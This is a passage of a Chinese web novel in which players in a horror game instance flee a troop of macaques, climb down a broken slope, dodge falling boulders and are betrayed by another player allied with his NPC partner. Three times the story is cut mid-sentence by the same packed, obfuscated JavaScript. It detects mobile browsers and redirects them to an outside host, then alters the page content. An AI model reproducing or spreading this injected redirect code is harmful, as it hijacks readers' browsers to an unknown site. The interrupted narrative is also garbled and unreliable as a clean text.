林屿盯着他们的背影看了一会儿,心中的不安越发强烈。此时,耳朵捕捉到风声,脑子还没反应过来,头已经偏向了左侧,与蓝虹蝶的太阳穴重重相撞,她啊呀一声痛呼,林屿亦是眼冒金星。 从耳边掠过的东西砸中了柔弱少年的肩膀,一声闷响,那东西掉落在地,弹动了两回后落到草丛里——原来是块棱角分明的石头,可以想象砸倒人会有多痛。然而少年像是没有感觉一般,脚步不停,甚至上半身的姿势都没有变过。 “抱歉。”林屿连忙说道。 蓝虹蝶摇了摇头,“没事,刚才是怎么了?” 林屿回过头,先前的匆匆一瞥只能看见几个模糊不清的色块,而现在视野终于稳定,那些“东西”靠得更近,也露出了它们的真容——一群棕不溜秋的大猴子。 “这是藏酋猴。”她轻声提醒两个同伴,见她们皆是一脸困惑的模样,低声补充,“这种猴子很凶,一些自然保护区里就有这种猴子,它们经常抢劫游客。” 正巧旁边一株新冒头的构树苗上被洒下了点点暗红色的痕迹,已经凝固许久,然而暗红与新绿的色彩对比分外强烈,林屿眼神扫过去示意道:“藏酋猴内部也经常打架,这些就是它们打架流的血。” 一看就是头破血流地打。 蓝虹蝶咽了咽口水,“可这里不是在副本里吗?也许和现实不一样了。” 林屿:“你觉得会更温顺还是更凶?” 蓝虹蝶不说话了,林屿脖子上搭着的手臂勒得更紧,差点让她喘不上气。何芝看了一眼身后,问前面两个NPC,“能让一让吗?现在我们走前面。” 情况紧急,已经顾不得这两个纠缠不放的人耍小动作,再等他们磨蹭下去就要被猴子追上来了。 两个肩并肩的NPC这回倒是没有为难她们,一左一右侧过身让出了过路的间隙,三人不得不排成一条直线从他们中间通过。在林屿和邻家女孩面对面的时候,似乎在她脖子上隐约看见一条黑色的线,抬起头,正对上她面无表情直直看过来的目光。 她头皮一麻,心中的违和感越发强烈。 然而此刻争分夺秒,何芝见人一通过,立刻扯着蓝虹蝶和她向下狂奔,林屿不得不一再加快步伐。 “小心、小心摔!”蓝虹蝶气喘吁吁地提醒。她大部分重量交给了同伴,受伤的腿悬在空中,另一条腿胡乱地在地上蹬着步子,起到聊胜于无的作用,因为不需要自己走路,也因此能分出精力转过头去监视身后的危机。 两个NPC大约落后两步左右,紧紧咬住距离不放,大约是无法甩开的,更远一些,五六只猴子缀在后面,稳稳地跟随着众人,不过看样子一时半会儿赶不上她们。 蓝虹蝶松了一口气,“保持这个速度,那些猴子威胁不到我们。” “咔嚓”一声脆响,林屿余光一扫,正看见一只猴子从右边的树枝上跳下来,落到身旁的栏杆上,脚掌握稳后伸手向她捞过来,视野里那只脏兮兮的、灵长类动物的肉掌就在眼前逐渐放大。 林屿略一偏头躲过,加快了一点脚步。 “左边也有!”蓝虹蝶惊叫。 左边的猴子早已候在路旁,从栏杆下伸手去抓何芝的脚,然而就在要摸到裤腿的时候扑了个空,何芝在察觉到它意图的时候,改变了步伐,飞起一脚踢在猴子脸上,把它踹得向后翻滚两圈,吱哇乱叫。 林屿在心里叫了个好,随后蹙眉,后面的猴子还没有甩掉,左右两边又围拢了一群,各有三五只的样子,偷袭不成也没有放弃,而这回已经拉不开距离了。 “还能再快一点吗?”何芝征询地问道,她还能再提一点速度,只要让猴子攻击不到人,一路下山,走出它们的领地范围,一切就能迎刃而解。 林屿咬了咬牙,刚想点头,忽然急速停下脚步,也恰在此时,何芝像是和她心有灵犀一般同时停在原地。 “怎么停下了?快走啊!”蓝虹蝶着急地催促着,然而另外两人的目光定在前方,她慢慢转过头——一只半人高的猴子四脚落在路边的栏杆上,一边撒尿一边向她们逼近。 “卧槽!我再也不摸景区的扶手了!”蓝虹蝶惊恐道。 “咳咳,这个可以以后再说,我们现在被包围了。”林屿环视一圈,在三人停下的这短短的时间,两边的猴子已经赶上她们,背后的猴子逐渐逼近,而前方有七八只猴子堵住去路,其中有壮的有瘦的,有公的有母的——母的还抱着幼崽,有大的有小的,别说,小猴子还挺可爱的。 可这是在副本里,一切都不是真实的存在,林屿垂下目光。 “这是一个猴群,我们早就进了它们的包围圈。” 包围圈越缩越小,有一只冲在最前面,嘴里叽叽哇哇像是在骂什么脏话,似乎是先前被何芝踹过的那只猴子。林屿眼疾手快,从路边捡起两根粗壮的树枝,丢了一根给何芝。 她拿着树枝击打金属横栏,闷重的响声回荡在山间。 “人多的时候这个办法可以吓走猴子,但现在它们占优势,不知道还有没有用。”她敲了一会儿,猴子盯着她看,一边警惕一边接近玩家。 “好吧,没有用。”林屿停手,“我的经验用完了,你们有办法吗?” 蓝虹蝶忽然想到什么,连忙拿过背包,手伸进里面摸索,林屿还没看清她在找什么,就见她扬起手,丢了几包东西到猴群中去,是几袋饼干。登山背包里自带的除了饼干还有瓶装水,似乎竭力想告诉玩家这次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495257|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副本真的正常极了。 狗都不信。 “等等!”林屿阻止的时候已经晚了一步。 猴群里体型大的几只抢到饼干,撕开包装分食了美味,然后它们纷纷抬起头,却没有如蓝虹蝶想象一般放过几人,而是将目光对准了她们的背包,眼里泛起饥饿的贪婪。 如果先前还在衡量猎物的价值,现在已经凶相毕露。 何芝打落几波抓过来的猴手,脚步立得稳,但背后的蓝虹蝶已经摇摇欲坠,扒着她的腰缩成一团,林屿没有练过散打或是拳击,稍微有些手忙脚乱,分心看了看被猴群绕过的两个NPC,冲队友说道:“它们现在想要我们的背包!” “好!我数一二三,一起放下包往下跑!”何芝大声说道。 “一!” 林屿挡开几只猴子。 “二!” 蓝虹蝶松手开始卸包。 “三!” 何芝将前方的猴子打落一旁,松开树枝丢下包,和林屿同时拉起蓝虹蝶,向阶梯下方飞奔。 猴群一拥而上,身后传来背包撕裂的声响。大部分猴子上前争抢背包,零星的几只还不肯放人,尤其是那几个被打过的,仇恨地追在众人身后。 跑开十几步,林屿忽然听见猴群的尖叫,高高低低混在一起,让人耳膜发疼。就在这个时候,她转过头,一只火焰燎毛的猴子从天上掉下来,重重摔在她面前,虽然人已经在后退,但是裤腿上仍然多了一排血点。火焰还在猴子背上的毛发间跳跃,滚滚浊臭的烧毛发味被风送了满面。 林屿慢慢抬起头,方才争抢背包的猴群已经四散奔逃,还没来得及跑掉或者上前袭击的被打飞到半空,火焰从接触的地方开始烧灼,一只被点燃毛发的小猴子被母猴抱着在草地间翻滚哀嚎。 睦忻州双拳紧握大踏步向前,肩臂上拱起块垒分明的肌肉,清扫着每一个拦路者——他的技能,可以让拳头上附着火焰。 有人在身后拉她,林屿被扯向路边,避开了和他撞上。睦忻州把方才摔过来的猴子尸身踢到草丛里,三步并两步跨过台阶,一边走一边看天边的太阳,嘴里骂着:“真是晦气,以为那房子是个多么厉害的陷阱,都已经下午了……” 他没有理会别人的意思,和上山时一样,准备做独行侠。 柔弱少年和邻家少女这两个NPC早已经识趣地让开了路,而睦忻州后面还跟着另外两个NPC:妩媚女人和黄瓜摊主。 女人落后睦忻州两步,经过玩家身前的时候眼波流转,目光从她们脸上扫过,露出意味无穷的微笑。 可惜在场三个女士只觉得头皮发麻,完全没有被蛊惑到,恨不得退到围栏外。 林屿眨了眨眼睛,在树叶的阴影下,她的皮肤有些发青。 妩媚女人跟着睦忻州走了,黄瓜摊主还在后面一点,他略带哀怨地看了林屿一眼,忽然站在了两个NPC中间。 “你为什么不选我?” 林屿看了看并排的三人,回答道:“因为你不对劲。” “是吗,我哪里不对劲?”黄瓜摊主好奇地问道,完全没有自己是害人NPC的自知之明。 林屿目光越过他,看了看阶梯上方被撕烂的三个背包,和落在台阶上的几瓶水。自己的那几根非道具黄瓜已经被抢了,幸好道具黄瓜已经放了系统背包,不然就亏大了。 “帮我把水捡过来,我就告诉你。” 黄瓜摊主没有动。 “所以是你自己不想知道答案。”林屿正要拨开他,上前亲自去拿,邻家女孩忽然伸出一只脚——但不是为了绊她。 “哎呀!” 金属栏杆被撞出闷响,一个人形显露出来,双手捂着额头,膝盖跪在地上,显然刚刚摔得不轻。 16. 第十六章 那人似乎是没有想到会暴露在众目睽睽之下,扶着栏杆慢吞吞地站起身,侧对着众人好一会儿才转过身,露出一张圆脸,讪笑着说:“那些猴子真的是太可怕了,是吧?” 林屿没回话。方才猴子已经跑光了,他仍然没有现身,应当是不想与她们三人同行,或者……是想浑水摸鱼做些什么。不过么,她的目光在邻家女孩和他之间转了一圈,被这个NPC破坏了。 可现在她已经不是仲腾的“搭档”了,为什么还在针对他? “仲腾,你的技能是隐身?”蓝虹蝶惊讶地问道,随后不好意思地闭了嘴,毕竟这是明摆着的事。 “你选了他做搭档?”林屿注意的是另一件事,她指了指黄瓜摊主示意道。 “是啊,因为先前跟着我的N……同伴已经被你们选了嘛……我只好另外选一个看起来友善一点的。”仲腾眼神幽怨地说道。 “那可以让一让了吗?我过去拿东西。”林屿对三个挡路的NPC说道。 她小心地从他们之间穿过,一直屏息凝神地注意脚下,不过这回NPC并没有小动作,一直安安分分地等着她取回一个背包和几瓶水。 这个背包的外层已经被撕成一条一条的尼龙布,里面还有一层薄薄的布料撑着,勉强能放东西,另外两个背包早就已经变成碎布,更过分的是,还有一条背包带被挂在枝头——明晃晃的,像是战利品一样,虽然罪魁祸首已经屁滚尿流地逃跑了。 林屿把装了水的背包背在背后,回到队伍中,虽然她还不知道它们有什么用,但鉴于前一个副本的经验,还是把系统给的东西带上了。 “我们继续?虽然看起来还有几个小时太阳才落山,但谁知道副本里的时间流速会不会和正常感觉到的一样,而且……” “而且?”蓝虹蝶问道。 林屿不着痕迹地看了一圈背后三个NPC,“谁知道一路上还会发生什么呢?” 何芝点点头,转向仲腾,“你要和我们一起吗?我们有伤者,大概速度不会很快。” 仲腾像是忘了先前还想躲她们的事,一脸受宠若惊地说道:“那再好不过了,谢谢你们,睦忻州走太快,我正愁一个人走山路容易遇到危险,大家守望相助才能渡过难关啊!” “跟上来。”何芝扶起蓝虹蝶,想了想压低声音对他说道,“我们尽量走快点,你走在中间,注意一下他们。” 她用眼神示意紧跟众人不放的那几人。 “好的好的。”仲腾偷偷瞄了一眼身后,拍拍胸脯答应下来,顺畅地接受了何芝的安排。他大概认为她是她们三人的领队。 于是新的队形形成了,林屿何芝架着蓝虹蝶走在最前方,仲腾居中,三个NPC走在最后面。这个队形完美地解决了先前的隐患:NPC走在前面就拖延时间,走在后面就使绊子的问题。中间的仲腾能起到监视NPC的作用,退一步讲,就算他不小心被推了一把,有前面人墙在也能有个缓冲,不会摔太狠。 不过在看到邻家女孩走在他身后的时候,他表达了激烈的抗议,最后是黄瓜摊主走在NPC的第一个。 林屿架着蓝虹蝶,和何芝配合默契,下山不如上山累,两人飞快地迈步,还能分心出来交流。 “何姐,你有没有问过你选的搭档,之前发生过什么事?” “没问过,说实话,我躲他都来不及,何况从他的话里面大致能推测出来。”何芝回想了一下柔弱少年一路上说的话,“他说我抛弃他,离开他,想甩掉他,后来约他去山里徒步旅行……大概是在山里发生了什么,可能是我杀了他。” “什么!我们杀了NPC?”蓝虹蝶惊呼,随后瞄了一眼后方立刻压低声音,“可他们看上去不像是鬼啊?” 林屿忽然想起她在邻家女孩和妩媚女人身上看到的,“副本里的东西说不清,不是鬼,也有可能是别的什么,你们有在他们身上发现什么异样吗?” “越来越不像人?”蓝虹蝶试探着说道。 “哪里不像?” “嗯……说不清,总感觉他们在上山的时候要活泼一些,现在都不怎么说话了。” 何芝开口道:“我也这么觉得。”证据就是柔弱少年现在都不怎么来烦她。 她皱了皱眉,凭借多年出警的经验补充道:“他们的表情越来越不自然了,动作也是,一般人有这种情况,大多是在暗中筹划什么,或者准备搞什么事。” “但这是在副本里,还有一种可能。”林屿说道。 何芝:“什么可能?” “你们有没有看到他们身上有什么变化?”林屿忽然问了一句。 话题转得太快,蓝虹蝶没有反应过来,“什么变化?” “没有。”何芝迅速理解了她的意思,“他们没有变得半透明,或者出现什么异于常人的特征——仅外表上,也没有散发腐烂的味道。” “所以你认为,他们不是鬼魂,或者尸体。”林屿总结道,“但我不这样认为。” 她回头望了望,柔弱少年在队列最后一个,被前面几人遮挡,黄瓜摊主依旧一脸单纯的模样,他倒是和之前没有什么变化,而他后面的邻家女孩偶尔露出一半身子,她的脖颈上,那条黑色的线已经若隐若现——先前还只能在距离极近的时候看到。 “那他们是什么东西,明明看着是活人啊?”蓝虹蝶有些惊恐。 何芝并没有否定林屿的话,只是问她,“你的理由是什么?” “有关我的能力。”林屿简短概括,“总之我认为,他们还没出现异常只是时机未到,接下来的路程,我们得更加小心。” “对了,你搭档在卡牌上是什么模样?” 何芝抿了抿唇,目视前方,“双眼被挖,身上被咬得看不清原样。” 林屿感觉到蓝虹蝶起了鸡皮疙瘩,似乎被吓得不轻。 “你是多久来到这个游戏的?” 过了一会儿蓝虹蝶才反应过来是在问她,回答道:“大概一个月前?手环是这样显示的,只是我记不清了,副本时间很混乱,白城也没有白天黑夜。” 一个月前,所以她还没有被磨灭回家的希望,先前说去景区再也不碰扶手栏杆,大概也是因为心底并不认为自己会被困在这里一辈子。 林屿说道:“我也还留着手环。” 蓝虹蝶不知她为什么说这个,又听她问:“你被关过小黑屋吗?里面是什么样子?” 像是回忆起什么不好的经历,蓝虹蝶的脸都皱在一起了,“太恐怖了!千万别被关进去!” “里面有什么?”林屿好奇。 “什么也没有!”蓝虹蝶痛苦地说道,“就是什么也没有,只有一片黑暗,眼睛也睁不开,也没有声音,而且还睡不着,动也动不了,只能干耗,把时间耗过去。” “里面不能睡觉?” 蓝虹蝶讪讪,“是我睡不着。” “确实很磨人。”林屿点头赞同,小黑屋听起来不是什么严重的惩罚,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495258|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人是一种社会动物,不能没有和环境的交互,在完全无法感知外界的情况下,他们自己能把自己逼疯。 “听别人说有些办法可以轻松一点,要么睡觉,要么发呆,可是我睡也睡不着,发呆也总是胡思乱想,一乱想心里就难受,可能就是这样所以特别不想游戏失败进小黑屋。”蓝虹蝶不好意思地说,“真的谢谢你们,一直带着我,本来我这种情况不应该拖累你们,只是我真的不想进小黑屋……出去以后,我请你们吃饭。” 这是非常真诚的报答,就连何芝也没有拒绝。 不知不觉,他们来到一处陡坡前,不约而同停下了脚步。 “怎么回事,这桥怎么断了?”仲腾三两步跑到最前面,看着木桥难以置信地喊道。 背后是长长的山梯,面前是陡峭的斜坡,大约十米高,斜坡下一条溪流潺潺淌过光滑的卵石,冲刷着断裂的桥身。 桥是绳索串联木板搭建而成的,两旁就连防止游人掉落的围栏也没有,只有一根绳索横着牵过去当做扶手,这样的结构非常容易破坏,只要绳子断了,桥也就毁了,而溪流中完全没有被水流腐坏的桥身说明它的坠毁是在不久前。 前路被断,而周围完全找不到另外道路,蓝虹蝶忍不住骂道:“到底是谁干的,谁这么缺德!” 仲腾说道:“睦忻州走在我们前面,肯定是他!没想到他竟然是这种人!” 林屿仔细看了看绳索断裂的部分,没有火焰的痕迹。 “是谁做的之后再说,现在我们要么沿着这条边走,跟着水流的方向也能下山,只不过就要自己清理出路了。” 众人顺着她指的方向看过去,离开了供人行走的山梯,地面凹凸不平,长满杂草与灌木,大大小小的石块时不时从土里冒出头来。 “这……恐怕不太好走,等下山估计天都黑了。”仲腾说道。 “还有一个办法。”林屿指了指陡坡下方,“爬下去然后再爬上去,之后就可以继续走这条的路,只不过上下的时候比较困难。” “我觉得……这陡坡太危险了,不如还是走上面吧。”蓝虹蝶说道。 “你觉得呢?”林屿看向何芝。 何芝沉吟了一会儿,做出了决定,“走下面,毕竟我们不知道系统认定的下山是下到哪里,一路上没有看见别的小路,顺着给出的路走更稳妥。” 蓝虹蝶欲哭无泪,难道从十米高的地方掉下去会更稳妥吗?稳妥地噶? “你可以吗?”何芝问在场唯一的伤者。 蓝虹蝶咬了咬牙,收回搭在两人肩膀的手臂,试着走了几步,“我尽量,只要右脚不使劲就没问题。” “好,我先下,你跟在我后面,放心,有问题我会接住你。”何芝看向林屿,“你第三个,照看一下她。” 她安排过后利落地翻身,眨眼就已经找好了陡坡上的落脚点,灵活地攀爬着。 “记住我踩的地方,别找松动的石头!”她对探出头的蓝虹蝶喊道。 蓝虹蝶一脸豁出去的表情,颤颤巍巍地跟了下去。林屿这回终于能好好地观察柔弱少年,目光在他身上转了几圈,最后定在他的脸上——他脸上,眼睛下方,似乎有几道红色的痕迹。 黄瓜摊主露出吃味的表情,幽幽地埋怨,“你都不看我。” 林屿没有理会这句乙游味十足的话,紧跟着蓝虹蝶开始无防护攀岩,仲腾不用别人提醒,自动跟在她之后。 “唔!”蓝虹蝶忽然惊呼了一声。 17. 第十七章 林屿往下一看,就看到蓝虹蝶在半空无措舞动的两只脚,她只剩下双手还紧紧扣着岩石,指节用力得发白。然而由于手心不断出汗,她在一寸一寸往下滑。 她才下到一半的高度。 离地面还有大约五米,如果掉下去一定会摔断骨头。 林屿连忙往下挪了一小截,“你还能撑住吗?我马上来帮你!” “我、我要抓不住了!”说着,蓝虹蝶的手指又向下滑了一点,三个指节,只剩下最后一个关节扒住石头。 林屿又向下挪了半个身位,“抓住我的腿,脚上再找位置!” “不行!两只手支撑不了两个人的重量,你会一起掉下去的!” 蓝虹蝶说完感受到最后一截指腹从石头上无可抵挡滑落的过程,她低头看见了下方:近乎垂直的坡度,密集从土里探出头的锋利碎石。脑海里忽然浮现起那个土味男人在卡片上的面容——浑身伤痕,半边脸凹陷,破了一只眼睛——心里忽然慌了。 她会不会摔成那个样子?心里这样想着,手指却无可抵挡地滑下石头,滞空的一瞬间,腰上忽然传来一股托力,撑起了她的身体。 就在方才那一刻,何芝刚好爬到她身边,千钧一发地救下了这个又要再摔一次的人。 “快找地方!” 蓝虹蝶这才发现何芝仅靠单手双脚固定身形,然而自己的重量已经让这个平衡岌岌可危了,连忙找到新的落点放好手脚。 何芝这才松手。 蓝虹蝶长长呼出一口气,差一点就掉下去了,她心有余悸地看了看下方,身子往前方贴了贴。刚才往下看的时候没注意到队友不在,原来是正在从旁边爬上来救她。 “谢谢,如果不是你,这个副本我肯定已经失败了……”她感激地看向身边的队友,然而何芝已经手脚麻利地下行了一两米的高度,蓝虹蝶看了个空,只看到山风呜呜吹过石缝里的杂草。 好吧,她不该自作多情…… “也谢谢你,我已经没事了……小心!” 蓝虹蝶一边说一边仰起头,待看清了上方状况的时候,瞳孔忽然紧缩。 林屿注意力一直在下方,等蓝虹蝶脱险之后,她回过头,却听见上方的人小小地“哎呀”了一下,视野里,有什么东西越放越大——是又一双蹬脱的腿,只不过这一次腿在她的上方。 空中的腿踢动着,像是惊慌无措,仲腾没有循着林屿的路线亦步亦趋,大约方才等不及,他从侧方绕了下来,已经与林屿重合了半个身位。 所以他乱晃的腿对她来说危险至极。 迅疾的气流刮过后背,林屿手肘内收,将自己紧贴在山壁上,避过了仲腾第一次晃过来的腿,可紧接着是第二次、幅度更大的踢打。 林屿肩膀受到重重的撞击,整个人重心不稳,手从岩石上脱开,而脚上没有抓握力——她从四米的高度直直摔下,后背朝地,面向天空,是一个百分之八九十会摔断脊背的姿势。 她看见双脚悬空的仲腾被黄瓜摊主一手拉住,重新稳住身体,她看见蓝虹蝶惊恐的注视,她看见何芝从两人高的地方跳下陡坡,想要过来接住她,可手伸过来的时候,已经在她身体上方。 仅仅差了一点。 再快一秒,林屿就能有个缓冲。她掉落得太突然,太迅速了。 谁也没想到在蓝虹蝶之后,仲腾会紧接着出状况。 没有想象中的尖叫,落地后的闷响,也没有飞溅的鲜血泼在地面,只能从林屿无比痛苦的神色见证坠落的结局,她试着蜷起身子,却被疼痛打倒,瘫软在地上。 “不要乱动,先告诉我哪里特别痛?”何芝焦急地蹲下身检查伤势,却见林屿轻轻对她眨了眨眼。 蓝虹蝶、仲腾紧接着落了地,纷纷围拢过来。 “对不起对不起,我不是故意的……”仲腾露出愧疚的表情。 作为受过林屿帮助,且目睹事情始末的队友,蓝虹蝶怒气冲冲地对仲腾骂道:“你就是故意的!刚才你为什么要踢她?她都躲过一次了你还非要往那边踹!” “可是那种情况我根本注意不到这些。”仲腾辩解道,“而且踩空这件事也不是我能控制的,你不也一样踩空了吗?你有注意到周围的情况吗?” 蓝虹蝶的话被噎了回去,她狠狠瞪了仲腾一眼,蹲下身去关心林屿的情况。 被两个人小心翼翼地扶起来,林屿无力地靠在何芝身上,轻声开口,“我的腿好像断了,背也好痛。” “对不起,那个时候我根本看不见下面。”仲腾又开始道歉,他上前一步建议道,“要不我来扶着你?等下我背你上去?” 林屿没有吭声,深棕色的眼珠盯了他一会儿,又看了看他身旁的黄瓜摊主,“你和你搭档的关系似乎很好。” 先前下山梯的时候,他死活不同意邻家女孩排在身后第一个,直到这个位置换成黄瓜摊主才没有反对,方才爬下陡坡的时候也是,他踩空的时候甚至被这个NPC拉了一把——就算他不是黄瓜摊主针对的人,但玩家和NPC的关系有这么好吗,好到互相帮助? 蓝虹蝶也不是柔弱少年和邻家女孩针对的人,可她却被他们中的一个推下山梯摔断了腿。 仲腾摸摸鼻子,避开林屿的眼神,后退了半步,“这个搭档确实比较不错。” 没有再继续自告奋勇地帮忙。 “怎么办?等下你怎么上去?”蓝虹蝶问出了一个现实的问题。 “你有绳子吗?”林屿问何芝。 “有。” “你们先上去,最后用绳子把我拉上来。”林屿说道。 “你可以吗?”蓝虹蝶担忧地问道,她用眼神上上下下检查着林屿的伤势,然而什么也没看出来,只能从虚弱痛苦的模样推测出她哪里的骨头断了。 “这是在副本里,顾不得那么多了。”林屿苦笑道,“再说,只要能通关,出去以后系统会给我们修复身体,只是扣一点积分。失败的惩罚更可怕一点。” 说到失败的可怕,蓝虹蝶深有同感,她不再劝说,跟着一众人跨过溪流,来到对面。 这一回,玩家们需要攀爬上去。 看着比方才更加陡峭的坡度,蓝虹蝶露出痛苦的表情,“我们……谁先上去呀?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495259|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 何芝看着仲腾,还没说话,一颗小石子从山崖上溜溜达达地落了下来,砸到蓝虹蝶头上,她“哎哟”地喊了一声,“谁在暗算我?” 头上这一段“峭壁”的顶端抖落一层蒙蒙灰土,露出三个逆光的面孔。林屿眯起眼看了一会儿,辨认出中间那一个人是“土味男子”,那么两边的人应当就是他的保镖了。 他们怎么会出现在这里? 土味男子探出半个身体,目光在玩家之间搜寻着,最终看向蓝虹蝶的方向。“找到了。”他似乎说了这么一句,随后收回身体,和两个保镖一同消失在玩家视线中。 “我好像看到那个讨厌鬼了,他在这里做什么?”蓝虹蝶说道。 头顶又是一阵灰土落下,碎石土块从从山崖上剥离脱落,碰撞着滚落下来。 林屿心里升起一股不详的预感,顾不得伤患的人设,她一把扯过何芝和蓝虹蝶,“快走,快离开这里!” 但是晚了。 巨大的石块自上方露出浅灰色的锋利边缘一刻起,便在极短的时间内被完全推落,短暂的加速后,便以势不可挡的趋势从上方砸下,一路碰撞山壁,每撞击一处,便是一阵碎土砂石的雨露。 玩家离得太近了,他们来不及跑出接二连三被推下来的巨石范围,向左、向右,或者后退,在短短几秒内人的双腿比不过重力加速度。 林屿第一次直面这样势不可挡的、接近天灾的人祸,巨石在她的眼中无限放大,就像无限迫近的死亡阴影一般,她心跳如擂鼓,双腿却如虚脱一般定在原地,脑海中一瞬间闪过听过的话:这个游戏里没有死亡。 可她难道还有第二条命去验证吗? 林屿两手扯住同伴,“飞行”技能就要发动,然而何芝比她更快,她从地上捡起一块石头,用拳头打了出去,和闷重的、三人合抱的巨石比起来,被打出去的小石头轻飘飘的,就好像一只妄图与车架的巨轮对抗蚂蚁。 林屿带着她们向后,而小石头颤颤巍巍地向前,即将成就巨石之下粉身碎骨的命运。它就这样带着所有人对它的定论,与滚落的巨石相撞。 一声轰然鸣响。 山崖下方浓烟滚滚,尘土飞扬,巨大的冲击波将所有人震倒在地,许多崩裂的大型石块冲出浓烟,玩家纷纷打滚躲避,飞溅的碎石子打在身上,激起阵阵疼痛的涟漪。 林屿回过头,正好看见山崖下方巨大的凹陷,而上方没有了支撑,骤然断裂,三个NPC失足落下,滚落到棱角锋利的碎石堆中,生死不知。 她被几块半人高的“碎石”围在中心,半支起身子,正要起身寻找同伴,余光里却看到一抹鲜绿向她刺来。 她矮身避过,仲腾出现在视野里,握着竹叶向她走近——是先前山顶的那种叶片,握手的地方用布料层层包裹住了,以免割手。 他向来笑眯眯、人畜无害的圆脸上,终于露出了阴沉之色。 “我只想知道,你为什么要杀我,我们无冤无仇。”林屿向后挪动,背部却抵上了硌人的石头。 “你确实与我无冤无仇,但我的搭档想要你死。” 18. 第十八章 “我不知道玩家什么时候与NPC关系那么好了,好到可以同穿一条裤子,你的事就是我的事。”林屿盯着逼近的身影说道。 “不用拖延时间,也别想着大喊大叫把同伴招过来,你觉得她们来得快还是我的刀快。”仲腾慢慢向她靠近,手上的竹叶反射出森冷的光,“谁让你刚才摔断了腿,现在动也动不了,偏偏又和她们分散了呢?” “摔断了腿还不是拜你所赐,之前你就是故意的吧。” 仲腾已经走到她面前,双手握刀高高地举起,林屿必须仰头才能看清他的动作。 “是又怎么样?”他手背上浮起青筋。 “所以你要杀我,是因为你的搭档说他的目标是我,如果你动手了,他就安分跟着你下山,不然他就杀了你再来找我?” 仲腾正要把刀刺入她的喉咙,听到这句话面色骤然一变,“你怎么知道!” 还知道得这么清楚! 林屿却趁着他这一分心的空档猛踢他的腿,将他踹翻在地,竹叶刀脱手而出,飞得老远。 仲腾狼狈地滚了几滚,难以置信地看着行动自如的人,“你的腿没事?你根本没有摔伤!你早就想诈我?” 林屿从地上捡起那片被他偷偷保存下来的锋利竹叶,这回轮到她做那个手持利刃的恶人了,仲腾想要往后,同样被巨大的石块挡住,林屿抽出空隙留意了下两个队友的情况,她们似乎真的遇到什么麻烦事,仍然没有过来。 “别、别杀我,我已经连输好几个副本,好多天没有吃东西,迫不得已才想赢这一次副本,你可怜可怜我吧!”仲腾的视线黏在逼近的刀锋上,惊慌失措地求饶道。 “问你个问题。” 刀锋停在大动脉。 仲腾吞咽一口唾沫,“你、你问,我一定知无不言!” “你是怎么被拉进这个游戏世界的?” 仲腾反应了一会儿才明白她问的什么,他还以为会被逼问与NPC搭档的事,没想到她问了一个和眼前情况,甚至与这个副本都无关的问题。 “我是晚上打游戏的时候突然黑屏,一晃眼就在这个鬼地方了。” “你来这里多久了?” “大概……两到三个月?我没太注意时间,每天不是饿得要命就是下副本受折磨,要么就在小黑屋关禁闭,手环又没电了,实在没法把时间算准。” 林屿微微点了点头,继续问道:“什么类型的游戏?” “策略类。”仲腾答了一句,害怕她不懂,急忙补充道,“就是有些类似于推塔守塔,游戏分两个阵营,每个阵营有……” 林屿打断他,“新出来的游戏?” “不是,是一款老游戏,很早以前就公测发行到市面上的。这款游戏是当年的爆款,很多人在玩,所以我根本没想到玩个游戏会玩出状况。”仲腾盯着林屿的脸说道。 “我倒是能想到。”林屿笑了笑,不等他反应,一刀扎向身后,在惨叫声中补充了下半句,“你东拉西扯地拖时间,不就是想给你的搭档创造机会打晕我吗?” 林屿回过头,黄瓜摊主捂着肚子上冒血的伤口痛苦地退了两步,滑倒在地上,手里的石头无力地滑落到地上,看起来失去了攻击力。 然而视线一离开仲腾,再转眼的时候他竟然不见了! 林屿握紧了竹叶刀,后退了一点,眼睛留意地面小砂砾的细微移动。 仲腾的技能是隐身,他现在一定离方才的位置不远。 他可能正在找她的破绽,伺机抢夺这把利器。 或者,他可能想逃跑。 林屿先发制人,反手从破烂的背包中掏出瓶装水,拧开盖子就泼了出去,天女散花一般,轨迹呈现弧形。两米远的地方,水流在空中遇到了透明的阻碍。 就是那里!她用了一点技能,飞速地冲了过去,重重地撞上了他的后背。 “哎哟!疼疼疼!” 这回林屿没有再掉以轻心,割下背包上破烂成一条条的尼龙布料当做绳子,将仲腾双手双脚都捆得牢牢实实的,随后赶到求生欲极强的黄瓜摊主身前——他捂着肚子,已经一瘸一拐身残志坚地溜出十几米远。 看到面前的林屿,黄瓜摊主皱着脸,痛苦地说道:“客人,我都已经放过你,决心从此一刀两断,老死不相往来了,你能不能高抬贵手放过我呀!你都把我的肚子捅了个窟窿了!” 